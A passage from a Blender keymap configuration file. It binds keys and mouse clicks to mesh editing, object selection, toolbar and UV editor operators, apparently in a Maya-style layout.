True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'FACE'), ], }, ), ("mesh.loop_select", {"type": 'LEFTMOUSE', "value": 'CLICK', "alt": True}, {"properties": [("extend", False), ("deselect", False), ("toggle", False), ], }, ), ("mesh.loop_select", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True, "alt": True}, {"properties": [("extend", False), ("deselect", False), ("toggle", True), ], }, ), ("mesh.edgering_select", {"type": 'LEFTMOUSE', "value": 'CLICK', "ctrl": True, "alt": True}, {"properties": [("extend", False), ("deselect", False), ("toggle", False), ], }, ), ("mesh.edgering_select", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True, "ctrl": True, "alt": True}, {"properties": [("extend", False), ("deselect", False), ("toggle", True), ], }, ), ("mesh.shortest_path_pick", {"type": 'LEFTMOUSE', "value": 'CLICK', "ctrl": True}, {"properties": [("use_fill", False), ], }, ), ("mesh.shortest_path_pick", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True, "ctrl": True}, {"properties": [("use_fill", True), ], }, ), ("mesh.select_all", {"type": 'A', "value": 'PRESS', "repeat": True}, {"properties": [("action", 'SELECT'), ], }, ), ("mesh.select_all", {"type": 'A', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("action", 'DESELECT'), ], }, ), ("mesh.select_all", {"type": 'I', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("action", 'INVERT'), ], }, ), ("mesh.select_all", {"type": 'A', "value": 'DOUBLE_CLICK'}, {"properties": [("action", 'DESELECT'), ], }, ), ("mesh.select_more", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("mesh.select_less", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("mesh.select_next_item", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, None), ("mesh.select_prev_item", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, None), ("mesh.select_linked", {"type": 'L', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("mesh.select_linked_pick", {"type": 'L', "value": 'PRESS', "repeat": True}, {"properties": [("deselect", False), ], }, ), ("mesh.select_linked_pick", {"type": 'L', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("deselect", True), ], }, ), ("mesh.select_mirror", {"type": 'M', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, None), ("wm.call_menu", {"type": 'G', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_mesh_select_similar'), ], }, ), ("mesh.hide", {"type": 'H', "value": 'PRESS', "repeat": True}, {"properties": [("unselected", False), ], }, ), ("mesh.hide", {"type": 'H', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("unselected", True), ], }, ), ("mesh.reveal", {"type": 'H', "value": 'PRESS', "alt": True, "repeat": True}, None), ("mesh.normals_make_consistent", {"type": 'N', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("inside", False), ], }, ), ("mesh.normals_make_consistent", {"type": 'N', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("inside", True), ], }, ), ("view3d.edit_mesh_extrude_move_normal", {"type": 'E', "value": 'PRESS', "repeat": True}, { "active":False, }, ), ("wm.call_menu", {"type": 'E', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_mesh_extrude'), ], }, ), ("transform.edge_crease", {"type": 'E', "value": 'PRESS', "shift": True, "repeat": True}, None), ("mesh.fill", {"type": 'F', "value": 'PRESS', "alt": True, "repeat": True}, None), ("mesh.quads_convert_to_tris", {"type": 'T', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("quad_method", 'BEAUTY'), ("ngon_method", 'BEAUTY'), ], }, ), ("mesh.quads_convert_to_tris", {"type": 'T', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("quad_method", 'FIXED'), ("ngon_method", 'CLIP'), ], }, ), ("mesh.tris_convert_to_quads", {"type": 'J', "value": 'PRESS', "alt": True, "repeat": True}, None), ("mesh.rip_move", {"type": 'V', "value": 'PRESS', "repeat": True}, {"properties": [("MESH_OT_rip", [("use_fill", False), ], ), ], }, ), ("mesh.rip_move", {"type": 'V', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("MESH_OT_rip", [("use_fill", True), ], ), ], }, ), ("mesh.rip_edge_move", {"type": 'D', "value": 'PRESS', "alt": True, "repeat": True}, None), ("mesh.merge", {"type": 'M', "value": 'PRESS', "alt": True, "repeat": True}, None), ("transform.shrink_fatten", {"type": 'S', "value": 'PRESS', "alt": True, "repeat": True}, None), ("mesh.edge_face_add", {"type": 'F', "value": 'PRESS', "repeat": True}, { "active":False, }, ), ("mesh.duplicate_move", {"type": 'D', "value": 'PRESS', "shift": True, "repeat": True}, None), ("wm.call_menu", {"type": 'A', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_mesh_add'), ], }, ), ("mesh.separate", {"type": 'P', "value": 'PRESS', "repeat": True}, None), ("mesh.split", {"type": 'Y', "value": 'PRESS', "repeat": True}, None), ("mesh.vert_connect_path", {"type": 'J', "value": 'PRESS', "repeat": True}, None), ("mesh.point_normals", {"type": 'L', "value": 'PRESS', "alt": True, "repeat": True}, None), ("transform.vert_slide", {"type": 'V', "value": 'PRESS', "shift": True, "repeat": True}, None), ("mesh.dupli_extrude_cursor", {"type": 'RIGHTMOUSE', "value": 'CLICK', "ctrl": True}, {"properties": [("rotate_source", True), ], }, ), ("mesh.dupli_extrude_cursor", {"type": 'RIGHTMOUSE', "value": 'CLICK', "shift": True, "ctrl": True}, {"properties": [("rotate_source", False), ], }, ), ("wm.call_menu", {"type": 'X', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_mesh_delete'), ], }, ), ("wm.call_menu", {"type": 'DEL', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_mesh_delete'), ], }, ), ("mesh.dissolve_mode", {"type": 'X', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("mesh.dissolve_mode", {"type": 'DEL', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("mesh.knife_tool", {"type": 'K', "value": 'PRESS', "repeat": True}, {"properties": [("use_occlude_geometry", True), ("only_selected", False), ], }, ), ("object.vertex_parent_set", {"type": 'P', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("wm.call_menu", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, {"properties": [("name", 'VIEW3D_MT_edit_mesh_specials'), ], "active":False, }, ), ("wm.call_menu", {"type": 'F', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_mesh_faces'), ], }, ), ("wm.call_menu", {"type": 'E', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_mesh_edges'), ], }, ), ("wm.call_menu", {"type": 'V', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_mesh_vertices'), ], }, ), ("wm.call_menu", {"type": 'H', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_hook'), ], }, ), ("wm.call_menu", {"type": 'U', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_uv_map'), ], }, ), ("wm.call_menu", {"type": 'G', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_vertex_group'), ], }, ), ("object.vertex_group_remove_from", {"type": 'G', "value": 'PRESS', "ctrl": True, "alt": True, "repeat": True}, None), ("wm.call_menu_pie", {"type": 'O', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_proportional_editing_falloff_pie'), ], }, ), ("wm.context_toggle_enum", {"type": 'O', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'tool_settings.proportional_edit'), ("value_1", 'DISABLED'), ("value_2", 'ENABLED'), ], }, ), ("wm.context_toggle_enum", {"type": 'O', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("data_path", 'tool_settings.proportional_edit'), ("value_1", 'DISABLED'), ("value_2", 'CONNECTED'), ], }, ), ("mesh.loop_select", {"type": 'LEFTMOUSE', "value": 'DOUBLE_CLICK'}, {"properties": [("extend", False), ("deselect", False), ("toggle", False), ], }, ), ("mesh.loop_select", {"type": 'LEFTMOUSE', "value": 'DOUBLE_CLICK', "shift": True}, {"properties": [("extend", True), ("deselect", False), ("toggle", False), ], }, ), ("mesh.loop_select", {"type": 'LEFTMOUSE', "value": 'DOUBLE_CLICK', "alt": True}, {"properties": [("extend", False), ("deselect", True), ("toggle", False), ], }, ), ("mesh.edgering_select", {"type": 'LEFTMOUSE', "value": 'DOUBLE_CLICK', "ctrl": True}, {"properties": [("extend", False), ("deselect", False), ("toggle", False), ], }, ), ("mesh.edgering_select", {"type": 'LEFTMOUSE', "value": 'DOUBLE_CLICK', "shift": True, "ctrl": True}, {"properties": [("extend", False), ("deselect", False), ("toggle", True), ], }, ), ("view3d.view_selected", {"type": 'F', "value": 'PRESS', "repeat": True}, None), ("wm.call_menu_pie", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, {"properties": [("name", 'VIEW3D_MT_maya_pie_menu'), ], }, ), ("wm.tool_set_by_id", {"type": 'W', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.move'), ], }, ), ("wm.tool_set_by_id", {"type": 'E', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.rotate'), ], }, ), ("wm.tool_set_by_id", {"type": 'R', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.scale'), ], }, ), ], }, ), ("Object Mode", {"space_type": 'EMPTY', "region_type": 'WINDOW'}, {"items": [("wm.call_menu_pie", {"type": 'O', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_proportional_editing_falloff_pie'), ], }, ), ("wm.context_toggle", {"type": 'O', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'tool_settings.use_proportional_edit_objects'), ], }, ), ("object.select_all", {"type": 'A', "value": 'PRESS', "repeat": True}, {"properties": [("action", 'SELECT'), ], }, ), ("object.select_all", {"type": 'A', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("action", 'DESELECT'), ], }, ), ("object.select_all", {"type": 'I', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("action", 'INVERT'), ], }, ), ("object.select_all", {"type": 'A', "value": 'DOUBLE_CLICK'}, {"properties": [("action", 'DESELECT'), ], }, ), ("object.select_more", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("object.select_less", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("object.select_linked", {"type": 'L', "value": 'PRESS', "shift": True, "repeat": True}, None), ("object.select_grouped", {"type": 'G', "value": 'PRESS', "shift": True, "repeat": True}, None), ("object.select_hierarchy", {"type": 'LEFT_BRACKET', "value": 'PRESS', "repeat": True}, {"properties": [("direction", 'PARENT'), ("extend", False), ], }, ), ("object.select_hierarchy", {"type": 'LEFT_BRACKET', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("direction", 'PARENT'), ("extend", True), ], }, ), ("object.select_hierarchy", {"type": 'RIGHT_BRACKET', "value": 'PRESS', "repeat": True}, {"properties": [("direction", 'CHILD'), ("extend", False), ], }, ), ("object.select_hierarchy", {"type": 'RIGHT_BRACKET', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("direction", 'CHILD'), ("extend", True), ], }, ), ("object.parent_set", {"type": 'P', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("object.parent_clear", {"type": 'P', "value": 'PRESS', "alt": True, "repeat": True}, None), ("object.location_clear", {"type": 'G', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("clear_delta", False), ], }, ), ("object.rotation_clear", {"type": 'R', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("clear_delta", False), ], }, ), ("object.scale_clear", {"type": 'S', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("clear_delta", False), ], }, ), ("object.delete", {"type": 'X', "value": 'PRESS', "repeat": True}, {"properties": [("use_global", False), ], }, ), ("object.delete", {"type": 'X', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("use_global", True), ], }, ), ("object.delete", {"type": 'DEL', "value": 'PRESS', "repeat": True}, {"properties": [("use_global", False), ("confirm", False), ], }, ), ("object.delete", {"type": 'DEL', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("use_global", True), ("confirm", False), ], }, ), ("wm.call_menu", {"type": 'A', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_add'), ], }, ), ("wm.call_menu", {"type": 'A', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_object_apply'), ], }, ), ("wm.call_menu", {"type": 'L', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_make_links'), ], }, ), ("object.duplicate_move", {"type": 'D', "value": 'PRESS', "shift": True, "repeat": True}, None), ("object.duplicate_move_linked", {"type": 'D', "value": 'PRESS', "alt": True, "repeat": True}, None), ("object.join", {"type": 'J', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("anim.keyframe_insert_menu", {"type": 'I', "value": 'PRESS', "repeat": True}, None), ("anim.keyframe_delete_v3d", {"type": 'I', "value": 'PRESS', "alt": True, "repeat": True}, None), ("anim.keying_set_active_set", {"type": 'I', "value": 'PRESS', "shift": True, "ctrl": True, "alt": True, "repeat": True}, None), ("collection.create", {"type": 'G', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("collection.objects_remove", {"type": 'G', "value": 'PRESS', "ctrl": True, "alt": True, "repeat": True}, None), ("collection.objects_remove_all", {"type": 'G', "value": 'PRESS', "shift": True, "ctrl": True, "alt": True, "repeat": True}, None), ("collection.objects_add_active", {"type": 'G', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, None), ("collection.objects_remove_active", {"type": 'G', "value": 'PRESS', "shift": True, "alt": True, "repeat": True}, None), ("wm.call_menu", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, {"properties": [("name", 'VIEW3D_MT_object_specials'), ], "active":False, }, ), ("object.subdivision_set", {"type": 'ZERO', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("level", 0), ("relative", False), ], }, ), ("object.subdivision_set", {"type": 'ONE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("level", 1), ("relative", False), ], }, ), ("object.subdivision_set", {"type": 'TWO', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("level", 2), ("relative", False), ], }, ), ("object.subdivision_set", {"type": 'THREE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("level", 3), ("relative", False), ], }, ), ("object.subdivision_set", {"type": 'FOUR', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("level", 4), ("relative", False), ], }, ), ("object.subdivision_set", {"type": 'FIVE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("level", 5), ("relative", False), ], }, ), ("object.move_to_collection", {"type": 'M', "value": 'PRESS', "repeat": True}, None), ("object.link_to_collection", {"type": 'M', "value": 'PRESS', "shift": True, "repeat": True}, None), ("object.hide_view_clear", {"type": 'H', "value": 'PRESS', "alt": True, "repeat": True}, None), ("object.hide_view_set", {"type": 'H', "value": 'PRESS', "repeat": True}, {"properties": [("unselected", False), ], }, ), ("object.hide_view_set", {"type": 'H', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("unselected", True), ], }, ), ("object.hide_collection", {"type": 'H', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("object.hide_collection", {"type": 'ONE', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 1), ], }, ), ("object.hide_collection", {"type": 'TWO', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 2), ], }, ), ("object.hide_collection", {"type": 'THREE', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 3), ], }, ), ("object.hide_collection", {"type": 'FOUR', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 4), ], }, ), ("object.hide_collection", {"type": 'FIVE', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 5), ], }, ), ("object.hide_collection", {"type": 'SIX', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 6), ], }, ), ("object.hide_collection", {"type": 'SEVEN', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 7), ], }, ), ("object.hide_collection", {"type": 'EIGHT', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 8), ], }, ), ("object.hide_collection", {"type": 'NINE', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 9), ], }, ), ("object.hide_collection", {"type": 'ZERO', "value": 'PRESS', "any": True, "repeat": True}, {"properties": [("collection_index", 10), ], }, ), ("wm.call_menu_pie", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, {"properties": [("name", 'VIEW3D_MT_maya_pie_menu'), ], }, ), ("wm.tool_set_by_id", {"type": 'W', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.move'), ], }, ), ("wm.tool_set_by_id", {"type": 'E', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.rotate'), ], }, ), ("wm.tool_set_by_id", {"type": 'R', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.scale'), ], }, ), ], }, ), ("Toolbar Popup <temp>", {"space_type": 'EMPTY', "region_type": 'TEMPORARY'}, {"items": [("wm.tool_set_by_id", {"type": 'SPACE', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.cursor'), ], }, ), ("wm.tool_set_by_id", {"type": 'W', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select'), ], }, ), ("wm.tool_set_by_id", {"type": 'L', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select_lasso'), ], }, ), ("wm.tool_set_by_id", {"type": 'T', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.transform'), ], }, ), ("wm.tool_set_by_id", {"type": 'B', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select_box'), ], }, ), ("wm.tool_set_by_id", {"type": 'C', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select_circle'), ], }, ), ("wm.tool_set_by_id", {"type": 'W', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.move'), ], }, ), ("wm.tool_set_by_id", {"type": 'E', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.rotate'), ], }, ), ("wm.tool_set_by_id", {"type": 'R', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.scale'), ], }, ), ("wm.tool_set_by_id", {"type": 'D', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.annotate'), ], }, ), ("wm.tool_set_by_id", {"type": 'ONE', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_1', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select'), ], }, ), ("wm.tool_set_by_id", {"type": 'TWO', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select_lasso'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_2', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.select_lasso'), ], }, ), ("wm.tool_set_by_id", {"type": 'THREE', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.transform'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_3', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.transform'), ], }, ), ("wm.tool_set_by_id", {"type": 'FOUR', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.annotate_line'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_4', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.annotate_line'), ], }, ), ("wm.tool_set_by_id", {"type": 'FIVE', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.annotate_polygon'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_5', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.annotate_polygon'), ], }, ), ("wm.tool_set_by_id", {"type": 'SIX', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.annotate_eraser'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_6', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.annotate_eraser'), ], }, ), ("wm.tool_set_by_id", {"type": 'SEVEN', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin_brush.Grab'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_7', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin_brush.Grab'), ], }, ), ("wm.tool_set_by_id", {"type": 'EIGHT', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin_brush.Relax'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_8', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin_brush.Relax'), ], }, ), ("wm.tool_set_by_id", {"type": 'NINE', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin_brush.Pinch'), ], }, ), ("wm.tool_set_by_id", {"type": 'NUMPAD_9', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin_brush.Pinch'), ], }, ), ("wm.tool_set_by_id", {"type": 'SPACE', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.cursor'), ], }, ), ("ui.button_execute", {"type": 'SPACE', "value": 'RELEASE', "any": True}, {"properties": [("skip_depressed", True), ], }, ), ("wm.tool_set_by_id", {"type": 'SPACE', "value": 'RELEASE', "any": True}, None), ], }, ), ("UV Editor", {"space_type": 'EMPTY', "region_type": 'WINDOW'}, {"items": [("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("use_extend", True), ("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("use_extend", True), ("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("use_extend", True), ("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "oskey": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "oskey": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "oskey": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "shift": True, "oskey": True, "repeat": True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "shift": True, "oskey": True, "repeat": True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "shift": True, "oskey": True, "repeat": True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("use_extend", True), ("use_expand", True), ("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'FOUR', "value": 'PRESS', "repeat": True}, None), ("wm.context_set_enum", {"type": 'ONE', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'tool_settings.uv_select_mode'), ("value", 'VERTEX'), ], }, ), ("wm.context_set_enum", {"type": 'TWO', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'tool_settings.uv_select_mode'), ("value", 'EDGE'), ], }, ), ("wm.context_set_enum", {"type": 'THREE', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'tool_settings.uv_select_mode'), ("value", 'FACE'), ], }, ), ("wm.context_set_enum", {"type": 'FOUR', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'tool_settings.uv_select_mode'), ("value", 'ISLAND'), ], }, ), ("uv.mark_seam", {"type": 'E', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("uv.mark_seam", {"type": 'E', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("uv.select", {"type": 'LEFTMOUSE', "value": 'CLICK'}, {"properties": [("extend", False), ("deselect_all", True), ], }, ), ("uv.select", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True}, {"properties": [("extend", True), ], }, ), ("uv.select_loop", {"type": 'LEFTMOUSE', "value": 'CLICK', "alt": True}, {"properties": [("extend", False), ], }, ), ("uv.select_loop", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True, "alt": True}, {"properties": [("extend", True), ], }, ), ("uv.select_split", {"type": 'Y', "value": 'PRESS', "repeat": True}, None), ("uv.select_box", {"type": 'B', "value": 'PRESS', "repeat": True}, {"properties": [("pinned", False), ], }, ), ("uv.select_box", {"type": 'B', "value": 'PRESS', "oskey": True, "repeat": True}, {"properties": [("pinned", True), ], }, ), ("uv.select_box", {"type": 'B', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("pinned", True), ], }, ), ("uv.select_circle", {"type": 'C', "value": 'PRESS', "repeat": True}, None), ("uv.select_lasso", {"type": 'EVT_TWEAK_R', "value": 'ANY', "oskey": True}, {"properties": [("mode", 'ADD'), ], }, ), ("uv.select_lasso", {"type": 'EVT_TWEAK_R', "value": 'ANY', "ctrl": True}, {"properties": [("mode", 'ADD'), ], }, ), ("uv.select_lasso", {"type": 'EVT_TWEAK_R', "value": 'ANY', "shift": True, "oskey": True}, {"properties": [("mode", 'SUB'), ], }, ), ("uv.select_lasso", {"type": 'EVT_TWEAK_R', "value": 'ANY', "shift": True, "ctrl": True}, {"properties": [("mode", 'SUB'), ], }, ), ("uv.select_linked", {"type": 'L', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("uv.select_linked", {"type": 'L', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("uv.select_linked_pick", {"type": 'L', "value": 'PRESS', "repeat": True}, {"properties": [("extend", True), ("deselect", False), ], }, ), ("uv.select_linked_pick", {"type": 'L', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("extend", False), ("deselect", True), ], }, ), ("uv.select_more", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("uv.select_more", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("uv.select_less", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("uv.select_less", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("uv.select_all", {"type": 'A', "value": 'PRESS', "repeat": True}, {"properties": [("action", 'SELECT'), ], }, ), ("uv.select_all", {"type": 'A', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("action", 'DESELECT'), ], }, ), ("uv.select_all", {"type": 'I', "value": 'PRESS', "oskey": True, "repeat": True}, {"properties": [("action", 'INVERT'), ], }, ), ("uv.select_all", {"type": 'I', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("action", 'INVERT'), ], }, ), ("uv.select_all", {"type": 'A', "value": 'DOUBLE_CLICK'}, {"properties": [("action", 'DESELECT'), ], }, ), ("uv.select_pinned", {"type": 'P', "value": 'PRESS', "shift": True, "repeat": True}, None), ("wm.call_menu", {"type": 'W', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'IMAGE_MT_uvs_weldalign'), ], }, ), ("uv.stitch", {"type": 'V', 